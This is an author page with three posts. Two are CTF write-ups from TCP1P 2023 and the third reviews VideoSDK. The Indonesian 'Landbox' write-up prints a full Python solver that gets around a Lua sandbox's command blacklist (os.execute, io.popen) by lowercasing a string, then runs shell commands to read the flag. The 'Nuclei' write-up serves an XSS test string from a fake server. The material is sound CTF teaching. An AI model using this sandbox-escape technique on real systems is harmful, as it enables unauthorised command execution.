Forem: Edqe14

TCP1P CTF — Landbox

Edqe14 — Tue, 17 Oct 2023 04:42:40 +0000

Halo teman-teman hacker👋! Di artikel ini, kita akan membahas terkait tentang sebuah chall(enge) dari TCP1P CTF 2023, yang berjudul: Landbox.

🤔 Latar belakang

Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari Lua.

Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan netcat. Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan -- END.

$ nc 51.161.84.3 22041

Welcome to Landbox! (LUA Sandbox)
Feel free to type your lua code below, type '-- END' once you are done ;)
-- BEGIN
print('hello world')
-- END

-- OUTPUT BEGIN
hello world    
-- OUTPUT END

✏ Yang kita pelajari

Aplikasi ini dibuat dari Lua.
Aplikasi ini dapat menjalankan kode lua yang dimasukkan ❗

Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat source code yang diberikan.

👩‍💻 Source code

Dari tantangan ini, kita mendapat 2 file, yaitu main.lua dan sebuah Dockerfile. Mari kita lihat Dockerfilenya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi flag.txt, dll.

🐳 `Dockerfile`

FROM ubuntu:latest

# ... dipotong biar lebih singkat

RUN apt-get -y install lua5.4 socat

# ... dipotong biar lebih singkat

RUN chown root:root /flag.txt
RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt

# ... dipotong biar lebih singkat

✏ Yang kita pelajari

Versi lua yang dipakai adalah versi 5.4,
File flag.txt diubah menjadi flag-<hash md5 flag>.txt.

Nah, sekarang yang telah ditunggu-tunggu...

⚙ `main.lua`

Yang pertama kita lihat setelah membuka file ini yaitu sebuah function untuk menjalankan kode yang kita input.

function run(untrusted_code)
    env['string']['char'] = function() end  
    env['string']['format'] = function() end
    env['string']['gsub'] = function() end
    env['string']['sub'] = function() end
    local res, err = load(untrusted_code, nil, 't', env)
    if not res then 
        print('Error: ' .. err)
        return nil, err 
    end
    return pcall(res)
end

-- ... dipotong biar lebih singkat

local res, err = run(code)

-- ... dipotong biar lebih singkat

Sekarang, kita punya tujuan untuk membuat sebuah payload untuk mendapatkan flag dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:

🥇 1st check

blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'}
for line in code:gmatch("[^\n]+") do
    for i = 1, #blacklist do
        if string.find(line, blacklist[i]) then
            print('No! bad code!')
            return 
        end
    end
end

Dari penggalan kode ini, kode yang kita input tidak boleh mengandung kata-kata yang didalam blacklist atau kita tidak dapat melanjutkan ke step kedua.

🥈 2nd check

sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("0x%x?%x") do
        table.insert(parts, part)
    end

    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end

    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end

Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode string.gsub ini, berdasarkan dokumentasi lua, digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.

sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')

Seperti digambar, sanitized ini adalah hasil dari fungsi string.gsub. Di gsub pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu pattern %W. Sesuai dari tabel pattern diatas, %W seharusnya menghapus semua karakter alphanumeric, namun karena pattern ini case-sensitive, huruf kapital W ini tidak melakukan apa-apa. Sedangkan yang sanitized kedua, ini akan menghapus semua angka dari kode kita.

Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan list blacklist.

local parts = {}
for j = 1, #parts do
    result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end

Sama seperti step pertama, hasil yang didapatkan akan dicek kembali dengan list blacklist.

🥉 3rd check

local result = {}
for match in code:gmatch("['\"](.-)['\"]") do
    table.insert(result, match)
end

local sanitized = ''
for i = 1, #result do
    sanitized = sanitized .. result[i]
end

for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("\\x%x%x") do
        table.insert(parts, part)
    end

    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end

    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end

Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan blacklist, juga dengan semua karakter hexadesimal.

✏ Yang kita pelajari

Payload kita tidak boleh mengandung kata-kata dalam blacklist,
Kita juga tidak bisa menggunakan karakter hexadesimal.

Dengan informasi yang kita dapat, kita sekarang bisa membuat solver untuk tantangan ini.

🧠 Solver

Aku disini akan pakai Python dengan library pwntools. Ayo, kita buat secara perlahan.

Pertama, kita butuh membuat sebuah interface untuk berkomunikasi dengan servernya.

from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io

ℹ Info
Kita bisa menjalankan server lokal sendiri menggunakan Dockerfile yang diberikan

Kedua, kita harus membuat kode lua yang dapat menjalankan command atau shell di konsol.

def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

Didalam fungsi write, kita membuat sebuah file di /tmp/shell.lua dengan menggunakan fungsi io.open lua. Kita dapat menggunakan io.open karena yang dilarang itu adalah io.(p)open. Lalu, untuk bisa melewati larangan os.execute, kita dapat menggunakan fungsi string.lower untuk mengubah huruf besar menjadi huruf kecil.

Lalu, dalam fungsi exec, kita dapat menjalankan file /temp/shell.lua dengan memanfaatkan fungsi assert dan loadfile dilua.

Ketiga dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan file flag diubah, kita harus menjalankan 2 command linux, yaitu: ls dan cat.

def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))

Berikut adalah script penuhnya

from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io

def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload


def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))

if __name__ == "__main__":
    main()

Saat kita jalankan:

$ python ./solver.py

# ...

[*]

    -- OUTPUT BEGIN
    total 72
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 .
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 ..
    -rwxr-xr-x   1 root root    0 Oct 17 02:31 .dockerenv    
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 bin -> usr/bin
    drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
    drwxr-xr-x   1 root root 4096 Oct 17 02:26 ctf
    drwxr-xr-x   5 root root  360 Oct 17 02:31 dev
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 etc
    -rwxr--r--   1 root root   47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt
    drwxr-xr-x   2 root root 4096 Apr 18  2022 home
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 lib -> usr/lib
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib32 -> usr/lib32
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib64 -> usr/lib64
    lrwxrwxrwx   1 root root   10 Oct  4 02:08 libx32 -> usr/libx32
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 media
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 mnt
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 opt
    dr-xr-xr-x 366 root root    0 Oct 17 02:31 proc
    drwx------   2 root root 4096 Oct  4 02:12 root
    drwxr-xr-x   5 root root 4096 Oct  4 02:12 run
    lrwxrwxrwx   1 root root    8 Oct  4 02:08 sbin -> usr/sbin
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 srv
    dr-xr-xr-x  11 root root    0 Oct 17 02:31 sys
    drwxrwxrwt   1 root root 4096 Oct 17 02:52 tmp
    drwxr-xr-x   1 root root 4096 Oct  4 02:08 usr
    drwxr-xr-x   1 root root 4096 Oct  4 02:12 var
    -- OUTPUT END

# ...

[*] 

    -- OUTPUT BEGIN
    TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END

🎉 Akhirnya kita mendapat flagnya, kawan~

TCP1P{complex_problem_requires_simple_solution}

Akhir kata, terima kasih untuk membaca write-up ini ^v^. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke hello@edqe.me.

📝 Referensi

Terima kasih untuk write-up dari 4n86rakam1 yang menjadi basis dari artikel & write-up ini.

TCP1P CTF — Nuclei

Edqe14 — Sun, 15 Oct 2023 15:17:47 +0000

In this challenge, we are presented with a rather simple web page.

Here, we can input a valid URL only as it will validate the input. Since there is not much exciting stuff on the website, let's dive into the source code provided.

⛏ Source digging

In the zip archive, we can find docker-related files, custom-template.yaml file, and also app.py which is a flask application.

In the custom-template.yaml file, we can find interesting metadata, and HTTP requests..? We'll get into it further later.

On the other side, we can find the source code! app.py. Inside, we can find the corresponding file that handles the /submit route. We can also find the validation code for the URL input.

Following that, we can also find a command snippet that will run a process that uses our input, and by getting the desired output, we can get the flag ✨.

⚛ Nuclei

By doing a short Google search, Nuclei is:

a fast scanner used to scan modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities. (source)

Now, we also know that custom-template.yaml is for nuclei to use. We can find the templating guide in the official nuclei templating guide documentation. From the custom template, URL input, and source code, we can safely assume that we need to craft an HTTP server that fulfills the template requirements.

🛠 Crafting the server

Let's first list the things we need to do.

Routes

We need to create 2 endpoints that are written in the template.yaml file:

- `/api/v1/version`
- `/api/v2/echo`

![HTTP endpoints](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s5kz0t3f7z4c9m8uokhd.png)

Response
1. In the /version endpoint, we need to respond with:
  - version that needs to be under or equal to 10.0.5 but later than 10.0.1
  - Exact words that matches "NAME":"TCP1P" and "msg":"success"
2. As for the /echo endpoint, we have a more complex requirement:
  - the body need to match TCP1P{[a-z]} regex,
  - contains the string <script>alert(1)</script>,
  - and responds with status code 200.
3. Lastly, every request must respond with code 200.

Now, we can actually make the server that will definitely give us the flag! For this example, I'll use Express and Node.

import express from 'express';

const app = express();

app.get('/api/v1/version', (req, res) => {
  res
    .json({
      "NAME": "TCP1P",
      "msg": "success",
      "version": "10.0.4"
    });
});

app.get('/api/v2/echo', (req, res) => {
  res
    .send("TCP1P{a} <script>alert(1)</script>");
});

app.listen(3000, () => {
  console.log('Server listening on port 3000');
});

🩸 Execution

To allow nuclei from the challenge to access our server, we can use a tunnel service like ngrok to give us a public URL.

Just like that, submitting the URL... and we got the flag ✨!

Feedback are appreciated!

Multimedia Conferencing with VideoSDK

Edqe14 — Mon, 06 Mar 2023 04:08:55 +0000

You probably don't need to "make-your-own" video conferencing app, but if you do, then let me tell you about a SaaS platform I've been using for a school project.

With VideoSDK, you don't need to worry about making a WebRTC server, managing client connections, managing your server deployment, etc., etc. It's just simply, plug-and-play.

You can make a lot with VideoSDK but for this article, I'll only cover some main features that I've used for my project personally and my overall experience working with it.

💰 Pricing

Starting with the pricing, I could say, it's really good for a small SaaS company. It offers 10,000 minutes per month for free, then continues as pay-as-you-go for every conferencing minute taken.

For basically no limits with the free tier, it's great for a beginner project that requires basic real-time media connectivity, compared to other competitors, for example, Twillio. I'd say, it's worth the price.

✨ Quality

Video quality by default is a bit blurry at the start but you can change the quality in the provided SDK. As for developer experience, there is still room for improvement and fixes.

For example, there's mistyping with the Javascript (Typescript typing) SDK, not the best documentation but enough to get you up and running, etc.

If you ever run into problems, the VideoSDK Discord is a great place to get help, since the core team is actively interacting with users' problems and requests. Overall, great stuff!

Now, let's get into the technical bits 🔧

📚 Documentation

Like before, the documentation is not the best but could get you up and running in no time. There are some improvements that I can think about:

1. Grouping by language

Instead of separating guide and API reference, then separating between prebuilt & custom SDK again, which could be confusing at first.

Instead, I think it would be better to group everything on a page. Inside the page, you can pick your desired language and it will show everything related to that language, including prebuilt & custom SDK, API reference, etc.

2. Better guide

I don't see the guide as really useful compared to the API reference. So, I think there is still a lot of room for improvement here.

Overall, pretty good documentation but definitely could use more refining.

🧠 Code SDK

VideoSDK is packed with various SDKs for various languages. It supports web and mobile framework languages like Javascript for the web, Java for Android, Swift for IOS, and Dart for Flutter.

As I've stated above, there are still some minor bugs in the client SDK but it is actively being handled by the core team at VideoSDK to fix the issue.

Overall, the SDK is pretty great. Maybe sometimes you will stumble into some minor bugs, then you can join the VideoSDK Discord and report your findings there! I'm sure the VideoSDK team is happy to assist you.

🤨 Conclusion

Overall, VideoSDK is a great SaaS platform to power your project. It might not be suitable for a big project where you need more control over your infrastructure. Personally, I'm happy with VideoSDK right now for my project as it covers what I need to solve and handles all the heavy lifting.

I hope you find this article useful and informative. Since this is my first time writing an article, feedback are appeciated! Happy coding everyone~ 🚀

Images used came from Unsplash, Tenor, and VideoSDK's website

Forem: Edqe14

TCP1P CTF — Landbox

🤔 Latar belakang

👩‍💻 Source code

🐳 Dockerfile

⚙ main.lua

🧠 Solver

TCP1P CTF — Nuclei

⛏ Source digging

⚛ Nuclei

🛠 Crafting the server

🩸 Execution

Multimedia Conferencing with VideoSDK

💰 Pricing

✨ Quality

📚 Documentation

🧠 Code SDK

🤨 Conclusion

🐳 `Dockerfile`

⚙ `main.lua`